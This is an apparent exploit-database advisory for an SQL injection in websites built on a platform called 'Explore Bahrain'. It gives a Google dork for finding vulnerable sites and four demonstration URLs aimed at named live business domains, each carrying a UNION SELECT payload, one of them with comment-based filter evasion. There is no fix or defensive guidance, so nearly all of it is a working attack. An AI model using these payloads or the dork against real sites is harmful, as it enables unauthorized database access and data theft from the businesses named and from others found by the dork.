*********************************************************
#Exploit Title: Powered by Explore Bahrain Sql Injection Vulnerability
#Date: 2021-06-16
#Exploit Author: Behrouz Mansoori
#Google Dork: "Powered by Explore Bahrain"
#Category:webapps
#Tested On: windows 10, Firefox
 
 
Proof of Concept:
Search google Dork: "Powered by Explore Bahrain"


### Demo :

https://www.issbh.com/service.php?id=-4%20union%20select%201,version(),3,4,5,6--

https://www.tmebah.com/productdetails.php?cid=-39%20union%20select%201,version(),3,4--

http://sadiqgroup.net/apply.php?id=-1%20/*!12345union*/%20/*!12345select*/%201,2,version(),4--

https://topmenbh.com/products.php?id=3%27%20union%20select%201,version(),3--+

********************************************************* 
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************